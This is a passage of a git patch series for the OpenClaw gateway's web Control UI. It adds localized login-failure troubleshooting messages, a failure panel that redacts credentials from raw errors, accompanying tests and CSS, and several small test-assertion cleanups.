gateway.controlUi.allowedOrigins。", + stepFullOrigin: "使用完整来源,例如 http://localhost:5173,不要使用通配符模式。", + stepRestart: "更改允许来源后重启或重新加载 Gateway。", + }, + protocol: { + title: "协议不匹配", + summary: "提供的 Control UI 与正在运行的 Gateway 对支持的连接协议不一致。", + stepDashboard: + "使用 openclaw dashboard 重新打开提供的 dashboard,确保 UI 和 Gateway 来自同一安装。", + stepDevUi: "如果使用 pnpm ui:dev,请基于当前 checkout 重新构建或重启开发 UI。", + stepRestart: "更新 OpenClaw 后重启 Gateway,使其提供当前协议。", + }, + network: { + title: "无法连接", + summary: "浏览器无法完成 Gateway 连接。重试凭据前请检查目标和传输方式。", + stepGateway: "使用 openclaw status 或 openclaw gateway run 确认 Gateway 正在运行。", + stepUrl: "检查 WebSocket URL;当 Gateway 位于 HTTPS/Tailscale Serve 后面时使用 wss://。", + stepDashboard: + "使用 openclaw dashboard --no-open 重新打开 dashboard,以重新复制当前 URL 和认证详情。", + }, + }, }, chat: { disconnected: "已断开与网关的连接。", diff --git a/ui/src/i18n/locales/zh-TW.ts b/ui/src/i18n/locales/zh-TW.ts index 19e6eea4e1b..47e53018bac 100644 --- a/ui/src/i18n/locales/zh-TW.ts +++ b/ui/src/i18n/locales/zh-TW.ts @@ -923,6 +923,77 @@ export const zh_TW: TranslationMap = { showPassword: "顯示密碼", hidePassword: "隱藏密碼", togglePasswordVisibility: "切換密碼可見性", + failure: { + rawError: "原始錯誤", + docsAuth: "Control UI 驗證文件", + docsPairing: "裝置配對文件", + docsInsecure: "不安全 HTTP 文件", + authRequired: { + title: "需要驗證", + summary: "Gateway 可以連線,但此瀏覽器連接前需要相符的權杖或密碼。", + stepPaste: "貼上 openclaw dashboard --no-open 提供的權杖,或輸入已設定的密碼。", + stepGenerate: + "如果尚未設定權杖,請在 Gateway 主機上執行 openclaw doctor --generate-gateway-token。", + stepConnect: "更新憑證後再次按一下 Connect。", + }, + authFailed: { + title: "驗證不相符", + summary: "提供的憑證遭到拒絕。最常見原因是權杖過期,或權杖複製自另一個 Gateway URL。", + stepDashboard: "執行 openclaw dashboard --no-open 並開啟新的 URL,或貼上其中的權杖。", + stepReplace: "替換過期的權杖/密碼;不要重複使用另一個 Gateway URL 的權杖。", + stepMode: + "一次只使用一種相符的驗證模式:token 模式使用 gateway token,password 模式使用密碼。", + }, + rateLimited: { + title: "失敗嘗試過多", + summary: "Gateway 正在暫時限制此用戶端的驗證嘗試。", + stepStop: "暫時停止從此分頁重試。", + stepWait: "等待驗證限制器冷卻,然後使用修正後的憑證重新連線。", + stepCheckClients: "如果這是共用主機,請檢查其他用戶端是否持續錯誤重試。", + }, + pairing: { + title: "需要裝置配對", + scopeTitle: "Scope 升級待核准", + roleTitle: "角色升級待核准", + metadataTitle: "裝置重新整理待核准", + summary: "此瀏覽器需要 Gateway 主機的一次性核准後才能使用 Control UI。", + upgradeSummary: "此瀏覽器已知,但要求的存取權限已變更,需要新的核准。", + stepList: "在 Gateway 主機上執行 openclaw devices list。", + stepApproveId: "核准此要求:openclaw devices approve {requestId}。", + stepApprove: "從該清單核准待處理的瀏覽器/裝置要求。", + stepReconnect: "核准完成後重新連線。", + }, + insecure: { + title: "需要安全瀏覽器內容", + summary: "此頁面透過一般 HTTP 執行,因此瀏覽器無法建立 Gateway 預期的裝置身分。", + stepHttps: "使用 HTTPS/Tailscale Serve,或在 Gateway 主機上開啟 http://127.0.0.1:18789。", + stepLocalCompat: "如需本機僅權杖相容性,請設定 gateway.controlUi.allowInsecureAuth: true。", + stepAvoidDisable: "避免為遠端 HTTP 存取停用裝置驗證。", + }, + origin: { + title: "瀏覽器來源不允許", + summary: "Gateway 在接受 Control UI 連線前拒絕了此頁面來源。", + stepAllowedOrigins: "將此瀏覽器來源加入 gateway.controlUi.allowedOrigins。", + stepFullOrigin: "使用完整來源,例如 http://localhost:5173,不要使用萬用字元模式。", + stepRestart: "變更允許來源後重新啟動或重新載入 Gateway。", + }, + protocol: { + title: "協定不相符", + summary: "提供的 Control UI 與執行中的 Gateway 對支援的連線協定不一致。", + stepDashboard: + "使用 openclaw dashboard 重新開啟提供的 dashboard,確保 UI 和 Gateway 來自同一安裝。", + stepDevUi: "如果使用 pnpm ui:dev,請依目前 checkout 重新建置或重新啟動開發 UI。", + stepRestart: "更新 OpenClaw 後重新啟動 Gateway,使其提供目前協定。", + }, + network: { + title: "無法連線", + summary: "瀏覽器無法完成 Gateway 連線。重試憑證前請檢查目標與傳輸。", + stepGateway: "使用 openclaw status 或 openclaw gateway run 確認 Gateway 正在執行。", + stepUrl: "檢查 WebSocket URL;當 Gateway 位於 HTTPS/Tailscale Serve 後方時使用 wss://。", + stepDashboard: + "使用 openclaw dashboard --no-open 重新開啟 dashboard,以重新複製目前 URL 與驗證詳細資料。", + }, + }, }, chat: { disconnected: "已斷開與網關的連接。", diff --git a/ui/src/i18n/test/translate.test.ts b/ui/src/i18n/test/translate.test.ts index 86d2cd3b398..a8b73e53781 100644 --- a/ui/src/i18n/test/translate.test.ts +++ b/ui/src/i18n/test/translate.test.ts @@ -62,6 +62,17 @@ describe("i18n", () => { }); } + function readString(value: unknown, path: string): string { + let cursor = value; + for (const part of path.split(".")) { + cursor = + cursor && typeof cursor === "object" + ? (cursor as Record)[part] + : undefined; + } + return typeof cursor === "string" ? cursor : ""; + } + beforeEach(async () => { vi.stubGlobal("localStorage", createStorageMock()); vi.stubGlobal("navigator", { language: "en-US" } as Navigator); @@ -150,6 +161,38 @@ describe("i18n", () => { } }); + it("keeps login failure guidance localized in shipped locale bundles", () => { + const checkedKeys = flatten( + (en.login as { failure: Record> }).failure, + "login.failure", + ); + expect(checkedKeys.length).toBeGreaterThan(0); + for (const [locale, value] of Object.entries({ + ar, + de, + es, + fa, + fr, + id, + it: itLocale, + ja_JP, + ko, + nl, + pl, + pt_BR, + th, + tr, + uk, + vi: viLocale, + zh_CN, + zh_TW, + })) { + for (const key of checkedKeys) { + expect(readString(value, key), `${locale}:${key}`).not.toBe(readString(en, key)); + } + } + }); + it("keeps shipped locales structurally aligned with English", () => { const englishKeys = flatten(en); for (const [locale, value] of Object.entries(shippedLocales)) { diff --git a/ui/src/styles/components.css b/ui/src/styles/components.css index 7a543acf864..e32121cd82c 100644 --- a/ui/src/styles/components.css +++ b/ui/src/styles/components.css @@ -84,6 +84,55 @@ font-weight: 600; } +.login-gate__failure { + margin-top: 14px; +} + +.login-gate__failure-title { + font-size: 14px; + font-weight: 700; + color: var(--fg); +} + +.login-gate__failure-summary { + margin-top: 6px; + font-size: 13px; + line-height: 1.45; +} + +.login-gate__failure-steps { + margin: 10px 0 0; + padding-left: 18px; + font-size: 12px; + line-height: 1.55; +} + +.login-gate__failure-steps li + li { + margin-top: 4px; +} + +.login-gate__failure-detail { + margin-top: 10px; + font-size: 12px; +} + +.login-gate__failure-detail summary { + cursor: pointer; + color: var(--muted); +} + +.login-gate__failure-raw { + margin-top: 6px; + overflow-wrap: anywhere; + color: var(--muted); +} + +.login-gate__failure-docs { + display: inline-flex; + margin-top: 10px; + font-size: 12px; +} + .login-gate__help { margin-top: 20px; padding-top: 16px; diff --git a/ui/src/ui/views/login-gate.test.ts b/ui/src/ui/views/login-gate.test.ts new file mode 100644 index 00000000000..14a472fbdfb --- /dev/null +++ b/ui/src/ui/views/login-gate.test.ts @@ -0,0 +1,202 @@ +/* @vitest-environment jsdom */ + +import { render } from "lit"; +import { beforeEach, describe, expect, it } from "vitest"; +import { ConnectErrorDetailCodes } from "../../../../src/gateway/protocol/connect-error-details.js"; +import { i18n } from "../../i18n/index.ts"; +import type { AppViewState } from "../app-view-state.ts"; +import { renderLoginGate, resolveLoginFailureFeedback } from "./login-gate.ts"; + +function createState(overrides: Partial = {}): AppViewState { + return { + basePath: "", + connected: false, + lastError: null, + lastErrorCode: null, + loginShowGatewayToken: false, + loginShowGatewayPassword: false, + password: "", + settings: { + gatewayUrl: "ws://127.0.0.1:18789", + token: "", + sessionKey: "main", + lastActiveSessionKey: "main", + theme: "claw", + themeMode: "system", + chatFocusMode: false, + chatShowThinking: true, + chatShowToolCalls: true, + splitRatio: 0.6, + navCollapsed: false, + navWidth: 220, + navGroupsCollapsed: {}, + borderRadius: 50, + locale: "en", + }, + applySettings: () => undefined, + connect: () => undefined, + ...overrides, + } as unknown as AppViewState; +} + +describe("resolveLoginFailureFeedback", () => { + beforeEach(async () => { + await i18n.setLocale("en"); + }); + + it("explains missing auth credentials", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "disconnected (4008): connect failed", + lastErrorCode: ConnectErrorDetailCodes.AUTH_TOKEN_MISSING, + hasToken: false, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("auth-required"); + expect(feedback?.title).toBe("Auth required"); + expect(feedback?.steps.join(" ")).toContain("openclaw dashboard --no-open"); + expect(feedback?.steps.join(" ")).toContain("openclaw doctor --generate-gateway-token"); + }); + + it("explains rejected stale credentials", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "unauthorized: gateway token mismatch", + lastErrorCode: ConnectErrorDetailCodes.AUTH_TOKEN_MISMATCH, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("auth-failed"); + expect(feedback?.summary).toContain("stale token"); + expect(feedback?.steps.join(" ")).toContain("token mode"); + }); + + it("explains auth rate limits without encouraging retries", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "too many failed authentication attempts", + lastErrorCode: ConnectErrorDetailCodes.AUTH_RATE_LIMITED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("auth-rate-limited"); + expect(feedback?.title).toBe("Too many failed attempts"); + expect(feedback?.steps[0]).toContain("Stop retrying"); + }); + + it("preserves pairing request ids in the approval command", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "scope upgrade pending approval (requestId: req-123)", + lastErrorCode: ConnectErrorDetailCodes.PAIRING_REQUIRED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("pairing-required"); + expect(feedback?.title).toBe("Scope upgrade pending"); + expect(feedback?.steps.join(" ")).toContain("openclaw devices approve req-123"); + }); + + it("explains insecure HTTP device identity failures", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "device identity required", + lastErrorCode: ConnectErrorDetailCodes.CONTROL_UI_DEVICE_IDENTITY_REQUIRED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("insecure-context"); + expect(feedback?.steps.join(" ")).toContain("Tailscale Serve"); + expect(feedback?.steps.join(" ")).toContain("gateway.controlUi.allowInsecureAuth"); + }); + + it("explains browser origin rejections", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "origin not allowed", + lastErrorCode: ConnectErrorDetailCodes.CONTROL_UI_ORIGIN_NOT_ALLOWED, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("origin-not-allowed"); + expect(feedback?.steps.join(" ")).toContain("gateway.controlUi.allowedOrigins"); + }); + + it("explains protocol mismatch without requiring a gateway protocol change", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "protocol mismatch", + lastErrorCode: null, + hasToken: true, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("protocol-mismatch"); + expect(feedback?.summary).toContain("supported connection protocol"); + expect(feedback?.steps.join(" ")).toContain("openclaw dashboard"); + }); + + it("falls back to connection diagnostics for generic close errors", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: "disconnected (1006): no reason", + lastErrorCode: null, + hasToken: false, + hasPassword: false, + }); + + expect(feedback?.kind).toBe("network"); + expect(feedback?.steps.join(" ")).toContain("WebSocket URL"); + expect(feedback?.steps.join(" ")).toContain("wss://"); + }); + + it("redacts credential-shaped values from displayed raw errors", () => { + const feedback = resolveLoginFailureFeedback({ + connected: false, + lastError: + "failed ws://host/openclaw#token=secret-token Authorization: Bearer secret-bearer token=inline-secret", + lastErrorCode: null, + hasToken: false, + hasPassword: false, + }); + + expect(feedback?.rawError).not.toContain("secret-token"); + expect(feedback?.rawError).not.toContain("secret-bearer"); + expect(feedback?.rawError).not.toContain("inline-secret"); + expect(feedback?.rawError).toContain("[redacted"); + }); +}); + +describe("renderLoginGate", () => { + beforeEach(async () => { + await i18n.setLocale("en"); + }); + + it("renders an accessible structured failure panel with raw error details", async () => { + const container = document.createElement("div"); + const state = createState({ + lastError: "protocol mismatch", + settings: { + ...createState().settings, + token: "stale-token", + }, + }); + + render(renderLoginGate(state), container); + await Promise.resolve(); + + const alert = container.querySelector('[role="alert"]'); + expect(alert).not.toBeNull(); + expect(alert?.dataset.kind).toBe("protocol-mismatch"); + expect(alert?.textContent).toContain("Protocol mismatch"); + expect(alert?.textContent).toContain("openclaw dashboard"); + expect(alert?.querySelector("details")?.textContent).toContain("protocol mismatch"); + expect(alert?.querySelector("a")?.getAttribute("href")).toContain("docs.openclaw.ai"); + }); +}); diff --git a/ui/src/ui/views/login-gate.ts b/ui/src/ui/views/login-gate.ts index 97ce00bc808..0bf438c5151 100644 --- a/ui/src/ui/views/login-gate.ts +++ b/ui/src/ui/views/login-gate.ts @@ -1,14 +1,284 @@ import { html } from "lit"; +import { ConnectErrorDetailCodes } from "../../../../src/gateway/protocol/connect-error-details.js"; import { t } from "../../i18n/index.ts"; import type { AppViewState } from "../app-view-state.ts"; +import { buildExternalLinkRel, EXTERNAL_LINK_TARGET } from "../external-link.ts"; import { icons } from "../icons.ts"; import { normalizeBasePath } from "../navigation.ts"; +import { normalizeLowercaseStringOrEmpty } from "../string-coerce.ts"; import { agentLogoUrl } from "./agents-utils.ts"; import { renderConnectCommand } from "./connect-command.ts"; +import { + resolveAuthHintKind, + resolvePairingHint, + shouldShowInsecureContextHint, +} from "./overview-hints.ts"; + +type LoginFailureKind = + | "auth-required" + | "auth-failed" + | "auth-rate-limited" + | "pairing-required" + | "insecure-context" + | "origin-not-allowed" + | "protocol-mismatch" + | "network"; + +export type LoginFailureFeedback = { + kind: LoginFailureKind; + title: string; + summary: string; + steps: string[]; + docsHref: string; + docsLabel: string; + rawError: string; +}; + +type LoginFailureFeedbackParams = { + connected: boolean; + lastError: string | null; + lastErrorCode?: string | null; + hasToken: boolean; + hasPassword: boolean; +}; + +function resolveDocsLabel(href: string): string { + if (href.includes("insecure-http")) { + return t("login.failure.docsInsecure"); + } + if (href.includes("device-pairing")) { + return t("login.failure.docsPairing"); + } + return t("login.failure.docsAuth"); +} + +function redactLoginFailureError(value: string): string { + return value + .replace( + /([?#&])(?:access_token|auth|deviceToken|password|refresh_token|token)=([^&#\s]+)/gi, + "$1[redacted-credential]", + ) + .replace(/\bBearer\s+([A-Za-z0-9._~+/-]+=*)/gi, "Bearer [redacted]") + .replace( + /(["']?(?:access|accessToken|deviceToken|password|refresh|refreshToken|token)["']?\s*[:=]\s*)["']?[^"',\s}]+/gi, + "$1[redacted]", + ); +} + +function buildFeedback(params: { + kind: LoginFailureKind; + rawError: string; + docsHref?: string; + titleKey: string; + summaryKey: string; + stepKeys: string[]; + stepParams?: Record; +}): LoginFailureFeedback { + const docsHref = params.docsHref ?? "https://docs.openclaw.ai/web/dashboard"; + return { + kind: params.kind, + title: t(params.titleKey, params.stepParams), + summary: t(params.summaryKey, params.stepParams), + steps: params.stepKeys.map((key) => t(key, params.stepParams)), + docsHref, + docsLabel: resolveDocsLabel(docsHref), + rawError: redactLoginFailureError(params.rawError), + }; +} + +export function resolveLoginFailureFeedback( + params: LoginFailureFeedbackParams, +): LoginFailureFeedback | null { + if (params.connected || !params.lastError) { + return null; + } + + const rawError = params.lastError; + const lastErrorCode = params.lastErrorCode ?? null; + const lower = normalizeLowercaseStringOrEmpty(rawError); + + const pairing = resolvePairingHint(false, rawError, lastErrorCode); + if (pairing) { + return buildFeedback({ + kind: "pairing-required", + rawError, + docsHref: "https://docs.openclaw.ai/web/control-ui#device-pairing-first-connection", + titleKey: + pairing.kind === "scope-upgrade-pending" + ? "login.failure.pairing.scopeTitle" + : pairing.kind === "role-upgrade-pending" + ? "login.failure.pairing.roleTitle" + : pairing.kind === "metadata-upgrade-pending" + ? "login.failure.pairing.metadataTitle" + : "login.failure.pairing.title", + summaryKey: + pairing.kind === "pairing-required" + ? "login.failure.pairing.summary" + : "login.failure.pairing.upgradeSummary", + stepKeys: [ + "login.failure.pairing.stepList", + pairing.requestId + ? "login.failure.pairing.stepApproveId" + : "login.failure.pairing.stepApprove", + "login.failure.pairing.stepReconnect", + ], + stepParams: { requestId: pairing.requestId ?? "" }, + }); + } + + if ( + lastErrorCode === ConnectErrorDetailCodes.AUTH_RATE_LIMITED || + lower.includes("too many failed authentication attempts") || + lower.includes("rate limit") + ) { + return buildFeedback({ + kind: "auth-rate-limited", + rawError, + titleKey: "login.failure.rateLimited.title", + summaryKey: "login.failure.rateLimited.summary", + stepKeys: [ + "login.failure.rateLimited.stepStop", + "login.failure.rateLimited.stepWait", + "login.failure.rateLimited.stepCheckClients", + ], + }); + } + + if (shouldShowInsecureContextHint(false, rawError, lastErrorCode)) { + return buildFeedback({ + kind: "insecure-context", + rawError, + docsHref: "https://docs.openclaw.ai/web/control-ui#insecure-http", + titleKey: "login.failure.insecure.title", + summaryKey: "login.failure.insecure.summary", + stepKeys: [ + "login.failure.insecure.stepHttps", + "login.failure.insecure.stepLocalCompat", + "login.failure.insecure.stepAvoidDisable", + ], + }); + } + + if ( + lastErrorCode === ConnectErrorDetailCodes.CONTROL_UI_ORIGIN_NOT_ALLOWED || + lower.includes("origin not allowed") + ) { + return buildFeedback({ + kind: "origin-not-allowed", + rawError, + docsHref: + "https://docs.openclaw.ai/web/control-ui#debuggingtesting-dev-server--remote-gateway", + titleKey: "login.failure.origin.title", + summaryKey: "login.failure.origin.summary", + stepKeys: [ + "login.failure.origin.stepAllowedOrigins", + "login.failure.origin.stepFullOrigin", + "login.failure.origin.stepRestart", + ], + }); + } + + if (lower.includes("protocol mismatch")) { + return buildFeedback({ + kind: "protocol-mismatch", + rawError, + docsHref: + "https://docs.openclaw.ai/web/control-ui#debuggingtesting-dev-server--remote-gateway", + titleKey: "login.failure.protocol.title", + summaryKey: "login.failure.protocol.summary", + stepKeys: [ + "login.failure.protocol.stepDashboard", + "login.failure.protocol.stepDevUi", + "login.failure.protocol.stepRestart", + ], + }); + } + + const authHintKind = resolveAuthHintKind({ + connected: false, + lastError: rawError, + lastErrorCode, + hasToken: params.hasToken, + hasPassword: params.hasPassword, + }); + if (authHintKind === "required") { + return buildFeedback({ + kind: "auth-required", + rawError, + titleKey: "login.failure.authRequired.title", + summaryKey: "login.failure.authRequired.summary", + stepKeys: [ + "login.failure.authRequired.stepPaste", + "login.failure.authRequired.stepGenerate", + "login.failure.authRequired.stepConnect", + ], + }); + } + if (authHintKind === "failed") { + return buildFeedback({ + kind: "auth-failed", + rawError, + titleKey: "login.failure.authFailed.title", + summaryKey: "login.failure.authFailed.summary", + stepKeys: [ + "login.failure.authFailed.stepDashboard", + "login.failure.authFailed.stepReplace", + "login.failure.authFailed.stepMode", + ], + }); + } + + return buildFeedback({ + kind: "network", + rawError, + titleKey: "login.failure.network.title", + summaryKey: "login.failure.network.summary", + stepKeys: [ + "login.failure.network.stepGateway", + "login.failure.network.stepUrl", + "login.failure.network.stepDashboard", + ], + }); +} + +function renderLoginFailure(feedback: LoginFailureFeedback) { + return html` + + `; +} export function renderLoginGate(state: AppViewState) { const basePath = normalizeBasePath(state.basePath ?? ""); const faviconSrc = agentLogoUrl(basePath); + const failure = resolveLoginFailureFeedback({ + connected: state.connected, + lastError: state.lastError, + lastErrorCode: state.lastErrorCode, + hasToken: Boolean(state.settings.token.trim()), + hasPassword: Boolean(state.password.trim()), + }); return html` - ${state.lastError - ? html`
-
${state.lastError}
-
` - : ""} + ${failure ? renderLoginFailure(failure) : ""} `; } +function renderCommandWithSpans(request: ExecApprovalRequestPayload) { + const commandSpans = [...(request.commandSpans ?? [])] + .filter( + (span) => + Number.isSafeInteger(span.startIndex) && + Number.isSafeInteger(span.endIndex) && + span.startIndex >= 0 && + span.endIndex > span.startIndex && + span.endIndex <= request.command.length, + ) + .toSorted((a, b) => a.startIndex - b.startIndex || b.endIndex - a.endIndex); + const accepted: typeof commandSpans = []; + let cursor = 0; + for (const span of commandSpans) { + if (span.startIndex < cursor) { + continue; + } + accepted.push(span); + cursor = span.endIndex; + } + if (accepted.length === 0) { + return html`
${request.command}
`; + } + const parts = []; + cursor = 0; + for (const span of accepted) { + if (span.startIndex > cursor) { + parts.push(request.command.slice(cursor, span.startIndex)); + } + parts.push( + html`${request.command.slice(span.startIndex, span.endIndex)}`, + ); + cursor = span.endIndex; + } + if (cursor < request.command.length) { + parts.push(request.command.slice(cursor)); + } + return html`
${parts}
`; +} + function renderExecBody(request: ExecApprovalRequestPayload) { return html` -
${request.command}
+ ${renderCommandWithSpans(request)}
${renderMetaRow(t("execApproval.labels.host"), request.host)} ${renderMetaRow(t("execApproval.labels.agent"), request.agentId)} From 6bb3678fd9fad7bced19890ecb007e19e4bf9f85 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:39:48 +0100 Subject: [PATCH 053/174] test: clarify plugin extension boundary assertions --- test/plugin-extension-import-boundary.test.ts | 26 ++++++++++++------- 1 file changed, 16 insertions(+), 10 deletions(-) diff --git a/test/plugin-extension-import-boundary.test.ts b/test/plugin-extension-import-boundary.test.ts index 226854c64bd..c447b597f15 100644 --- a/test/plugin-extension-import-boundary.test.ts +++ b/test/plugin-extension-import-boundary.test.ts @@ -20,22 +20,28 @@ const baseline = JSON.parse(readFileSync(baselinePath, "utf8")); describe("plugin extension import boundary inventory", () => { it("keeps dedicated web-search registry shims out of the remaining inventory", async () => { const inventory = await collectPluginExtensionImportBoundaryInventory(); + const blockedShimFiles = inventory + .filter( + (entry) => + entry.file === "src/plugins/web-search-providers.ts" || + entry.file === "src/plugins/bundled-web-search-registry.ts", + ) + .map((entry) => entry.file); - expect(inventory.some((entry) => entry.file === "src/plugins/web-search-providers.ts")).toBe( - false, - ); - expect( - inventory.some((entry) => entry.file === "src/plugins/bundled-web-search-registry.ts"), - ).toBe(false); + expect(blockedShimFiles).toEqual([]); }); it("ignores boundary shims by scope", async () => { const inventory = await collectPluginExtensionImportBoundaryInventory(); + const boundaryShimFiles = inventory + .filter( + (entry) => + entry.file.startsWith("src/plugin-sdk/") || + entry.file.startsWith("src/plugin-sdk-internal/"), + ) + .map((entry) => entry.file); - expect(inventory.some((entry) => entry.file.startsWith("src/plugin-sdk/"))).toBe(false); - expect(inventory.some((entry) => entry.file.startsWith("src/plugin-sdk-internal/"))).toBe( - false, - ); + expect(boundaryShimFiles).toEqual([]); }); it("produces stable sorted output", async () => { From 05f117aae288af08ef60487ea00a6614e1d9fa4b Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:41:09 +0100 Subject: [PATCH 054/174] test: clarify unit fast forced routing assertion --- test/vitest-unit-fast-config.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/test/vitest-unit-fast-config.test.ts b/test/vitest-unit-fast-config.test.ts index 2d1c4c57a36..481c9a0f09b 100644 --- a/test/vitest-unit-fast-config.test.ts +++ b/test/vitest-unit-fast-config.test.ts @@ -103,7 +103,10 @@ describe("unit-fast vitest lane", () => { expect(unitFastTestFiles).toContain(file); expect(isUnitFastTestFile(file)).toBe(true); } - expect(forcedAnalysis.every((entry) => entry.forced && entry.unitFast)).toBe(true); + const unroutedForcedFiles = forcedAnalysis + .filter((entry) => !entry.forced || !entry.unitFast) + .map((entry) => ({ file: entry.file, forced: entry.forced, unitFast: entry.unitFast })); + expect(unroutedForcedFiles).toEqual([]); }); it("keeps broad audit candidates separate from automatically routed unit-fast tests", () => { From b5533734ba148967d5b5f2595ab26f2afc32ecb2 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:42:50 +0100 Subject: [PATCH 055/174] test: clarify deepinfra model catalog assertions --- extensions/deepinfra/provider-models.test.ts | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/extensions/deepinfra/provider-models.test.ts b/extensions/deepinfra/provider-models.test.ts index 07bd7b0a61e..a133fcad38f 100644 --- a/extensions/deepinfra/provider-models.test.ts +++ b/extensions/deepinfra/provider-models.test.ts @@ -59,9 +59,14 @@ async function withFetchPathTest( describe("discoverDeepInfraModels", () => { it("returns static catalog in test environment", async () => { const models = await discoverDeepInfraModels(); + const modelIds = models.map((m) => m.id); + const streamingUsageIncompatibleModelIds = models + .filter((m) => !m.compat?.supportsUsageInStreaming) + .map((m) => m.id); + expect(DEEPINFRA_DEFAULT_MODEL_REF).toBe("deepinfra/deepseek-ai/DeepSeek-V3.2"); - expect(models.some((m) => m.id === "deepseek-ai/DeepSeek-V3.2")).toBe(true); - expect(models.every((m) => m.compat?.supportsUsageInStreaming)).toBe(true); + expect(modelIds).toContain("deepseek-ai/DeepSeek-V3.2"); + expect(streamingUsageIncompatibleModelIds).toEqual([]); }); it("fetches DeepInfra's curated LLM catalog and parses model metadata", async () => { @@ -144,7 +149,7 @@ describe("discoverDeepInfraModels", () => { await withFetchPathTest(mockFetch, async () => { const models = await discoverDeepInfraModels(); - expect(models.some((m) => m.id === "deepseek-ai/DeepSeek-V3.2")).toBe(true); + expect(models.map((m) => m.id)).toContain("deepseek-ai/DeepSeek-V3.2"); }); }); From 3b254b4d36f35965ef85577f3d913b96ed8e59ab Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:45:51 +0100 Subject: [PATCH 056/174] test: clarify channel registry id assertion --- src/channels/registry.helpers.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/channels/registry.helpers.test.ts b/src/channels/registry.helpers.test.ts index 39e6c763cac..2509c1f37a7 100644 --- a/src/channels/registry.helpers.test.ts +++ b/src/channels/registry.helpers.test.ts @@ -24,7 +24,7 @@ describe("channel registry helpers", () => { it("includes MS Teams in the bundled channel list", () => { const channels = listChatChannels(); - expect(channels.some((channel) => channel.id === "msteams")).toBe(true); + expect(channels.map((channel) => channel.id)).toContain("msteams"); }); it("formats Telegram selection lines without a docs prefix and with website extras", () => { From b91277381f8e6ec130e517c22a6d280fd592db9b Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:47:20 +0100 Subject: [PATCH 057/174] test: clarify scoped vitest exclude assertions --- test/vitest-scoped-config.test.ts | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/test/vitest-scoped-config.test.ts b/test/vitest-scoped-config.test.ts index d4edaf16c67..b1e122852ca 100644 --- a/test/vitest-scoped-config.test.ts +++ b/test/vitest-scoped-config.test.ts @@ -81,6 +81,10 @@ function bundledExcludePatternCouldMatchFile(pattern: string, file: string): boo return false; } +function matchingExcludePatterns(patterns: string[], file: string): string[] { + return patterns.filter((pattern) => path.matchesGlob(file, pattern)); +} + describe("resolveVitestIsolation", () => { it("aliases private QA plugin SDK subpaths for source tests only", () => { expect(sharedVitestConfig.resolve.alias).toEqual( @@ -632,16 +636,12 @@ describe("scoped vitest configs", () => { it("keeps acpx tests out of the shared extensions lane", () => { const extensionExcludes = defaultExtensionsConfig.test?.exclude ?? []; - expect( - extensionExcludes.some((pattern) => path.matchesGlob("acpx/src/runtime.test.ts", pattern)), - ).toBe(true); + expect(matchingExcludePatterns(extensionExcludes, "acpx/src/runtime.test.ts")).not.toEqual([]); }); it("keeps diffs tests out of the shared extensions lane", () => { const extensionExcludes = defaultExtensionsConfig.test?.exclude ?? []; - expect( - extensionExcludes.some((pattern) => path.matchesGlob("diffs/src/render.test.ts", pattern)), - ).toBe(true); + expect(matchingExcludePatterns(extensionExcludes, "diffs/src/render.test.ts")).not.toEqual([]); }); it("keeps broad dedicated extension groups out of the shared extensions lane", () => { @@ -656,7 +656,7 @@ describe("scoped vitest configs", () => { "firecrawl/src/index.test.ts", "qa-lab/src/index.test.ts", ]) { - expect(extensionExcludes.some((pattern) => path.matchesGlob(file, pattern))).toBe(true); + expect(matchingExcludePatterns(extensionExcludes, file)).not.toEqual([]); } }); From 1ae4db279c6f3cd2e0794d316d713c8658f1c6db Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:49:58 +0100 Subject: [PATCH 058/174] test: clarify foundry refresh rejection assertion --- extensions/microsoft-foundry/index.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/microsoft-foundry/index.test.ts b/extensions/microsoft-foundry/index.test.ts index 86961f3108a..12aa64f9f33 100644 --- a/extensions/microsoft-foundry/index.test.ts +++ b/extensions/microsoft-foundry/index.test.ts @@ -331,7 +331,7 @@ describe("microsoft-foundry plugin", () => { provider.prepareRuntimeAuth?.(runtimeContext), provider.prepareRuntimeAuth?.(runtimeContext), ]); - expect(failed.every((result) => result.status === "rejected")).toBe(true); + expect(failed.filter((result) => result.status !== "rejected")).toEqual([]); expect(execFileMock).toHaveBeenCalledTimes(1); const [first, second] = await Promise.all([ From 30817c09e9044068badd8d91ec4a2732218b9054 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 07:51:07 +0100 Subject: [PATCH 059/174] test: clarify voice call talk event waits --- extensions/voice-call/src/media-stream.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/voice-call/src/media-stream.test.ts b/extensions/voice-call/src/media-stream.test.ts index 69296050588..ca97f288614 100644 --- a/extensions/voice-call/src/media-stream.test.ts +++ b/extensions/voice-call/src/media-stream.test.ts @@ -203,7 +203,7 @@ 